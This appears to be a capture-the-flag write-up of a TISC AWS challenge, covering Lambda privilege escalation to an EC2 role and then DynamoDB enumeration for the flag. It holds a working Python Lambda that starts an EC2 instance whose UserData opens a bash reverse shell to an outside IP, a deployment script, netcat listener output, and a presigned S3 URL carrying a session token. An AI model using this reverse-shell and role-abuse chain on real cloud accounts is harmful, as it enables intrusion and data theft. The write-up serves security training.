--2022-09-09 06:02:09-- https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d
Resolving awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)... 52.219.37.35
Connecting to awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)|52.219.37.35|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 416 [application/zip]
Saving to: ‘special.zip’
special.zip 100%[=====================================================================================>] 416 --.-KB/s in 0.001s
2022-09-09 06:02:09 (635 KB/s) - ‘special.zip’ saved [416/416]
┌──(kali㉿kali)-[/tmp]
└─$ dtrx special.zip
special.zip contains one file but its name doesn't match.
Expected: special
Actual: main.py
You can:
* extract the file _I_nside a new directory named special
* extract the file and _R_ename it special
* extract the file _H_ere
What do you want to do? (I/r/h)
┌──(kali㉿kali)-[/tmp]
└─$ cd special
┌──(kali㉿kali)-[/tmp/special]
└─$ ls
main.py
┌──(kali㉿kali)-[/tmp/special]
└─$ cat main.py
import boto3
def lambda_handler(event, context):
# Work in Progress: Requires help from Agents!
# ec2 = boto3.resource('ec2')
# instances = ec2.create_instances(
# ImageId="???",
# MinCount=1,
# MaxCount=1,
# InstanceType="t2.micro"
#)
return {
'status': 200,
'results': 'This is work in progress. Agents, palindrome needs your help to complete the workflow! :3'
}
┌──(kali㉿kali)-[/tmp/special]
└─$
AWS EC2
Lambda Privesc to EC2 agent role
Find a random Amazon Machine Image. Make sure to find one from the specific region
I made a program to launch an EC2 instance, and through the UserData Parameter, create a reverse shell connection to the attacker.
lambda_function.py
import boto3
# https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
USERNAME="user-95abe82de2174edb98135e48ef896bbd"
SCRIPT=f"""#!/bin/bash
/bin/bash -i >& /dev/tcp/18.141.129.246/16058 0>&1
"""
ROLE="arn:aws:iam::051751498533:role/ec2_agent_role"
REGION_NAME="ap-southeast-1"
def lambda_handler(event, context):
ec2 = boto3.resource('ec2', region_name=REGION_NAME)
# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.ServiceResource.create_instances
# https://codeflex.co/boto3-create-ec2-with-tags/
instances = ec2.create_instances(
ImageId="ami-0b89f7b3f054b957e", # Found on AWS Portal
MinCount=1,
MaxCount=1,
InstanceType="t2.micro",
SubnetId = 'subnet-0aa6ecdf900166741',
IamInstanceProfile={
'Arn': 'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile'
},
TagSpecifications=[
{
'ResourceType': 'instance',
'Tags': [
{
'Key': 'agent',
'Value': USERNAME
},
]
}
],
UserData=SCRIPT
)
instance = instances[0]
return (instance.id, instance.private_ip_address)
#lambda_handler(None, None)
./run.sh
#https://linuxhint.com/generate-random-string-bash/
LAMBDA_FUNC=user-95abe82de2174edb98135e48ef896bbd-ec2run-$(openssl rand -hex 5)
pip install --target ./package boto3
cd package
zip -r ../function.zip . > /dev/null
cd ..
zip -g function.zip lambda_function.py
rm -rf package
aws lambda create-function --zip-file fileb://function.zip --runtime python3.7 --handler lambda_function.lambda_handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role --function-name $LAMBDA_FUNC --timeout 60
aws lambda invoke --function-name $LAMBDA_FUNC /tmp/out.txt
cat /tmp/out.txt
Running the exploit
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ ls
lambda_function.py run.sh
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ ./run.sh
updating: lambda_function.py (deflated 48%)
{
"FunctionName": "user-95abe82de2174edb98135e48ef896bbd-ec2run-e9bf31c3b2",
"FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-95abe82de2174edb98135e48ef896bbd-ec2run-e9bf31c3b2",
"Runtime": "python3.7",
"Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 9332416,
"Description": "",
"Timeout": 60,
"MemorySize": 128,
"LastModified": "2022-09-09T13:17:26.523+0000",
"CodeSha256": "zf3I7mXTzYZpEjT3J42YJG5IkSRrjla3zq4gDHOXdmM=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "90d3e86c-ef09-46ba-8bcf-d016c6aa5a97",
"State": "Pending",
"StateReason": "The function is being created.",
"StateReasonCode": "Creating",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
}
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
["i-0647f6b14ee6acc28", "10.0.58.178"]
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35990
bash: no job control in this shell
[root@ip-10-0-58-178 /]#
AWS DynamoDB
Role Information
The EC2 agent role is shown to have privileges to access DynamoDB.
┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-role-policies --role-name "ec2_agent_role"
{
"AttachedPolicies": [
{
"PolicyName": "iam_policy_for_ec2_agent_role",
"PolicyArn": "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role"
}
]
}
┌──(kali㉿kali)-[~]
└─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role"
{
"Policy": {
"PolicyName": "iam_policy_for_ec2_agent_role",
"PolicyId": "ANPAQYDFBGMSUUGDZFFBM",
"Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "AWS IAM Policy for EC2 agent node",
"CreateDate": "2022-07-22T09:29:34+00:00",
"UpdateDate": "2022-07-22T09:29:34+00:00",
"Tags": []
}
}
┌──(kali㉿kali)-[~]
└─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role" --version-id "v1"
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"dynamodb:DescribeTable",
"dynamodb:ListTables",
"dynamodb:Scan",
"dynamodb:Query"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "VisualEditor0"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2022-07-22T09:29:34+00:00"
}
}
┌──(kali㉿kali)-[~]
└─$
Viewing Table
I enumerated through DynamoDB to get the flag.
[root@ip-10-0-47-186 /]# aws dynamodb list-tables --region ap-southeast-1
aws dynamodb list-tables --region ap-southeast-1
{
"TableNames": [
"flag_db"
]
}
[root@ip-10-0-47-186 /]# aws dynamodb scan --table-name flag_db --region ap-southeast-1
{
"Count": 1,
"Items": [
{
"secret": {
"S": "TISC{iT3_N0t_s0_C1oUdy}"
},
"name": {
"S": "flag"
}
}
],
"ScannedCount": 1,
"ConsumedCapacity": null
}
[root@ip-10-0-47-186 /]#
Flag
TISC{iT3_N0t_s0_C1oUdy}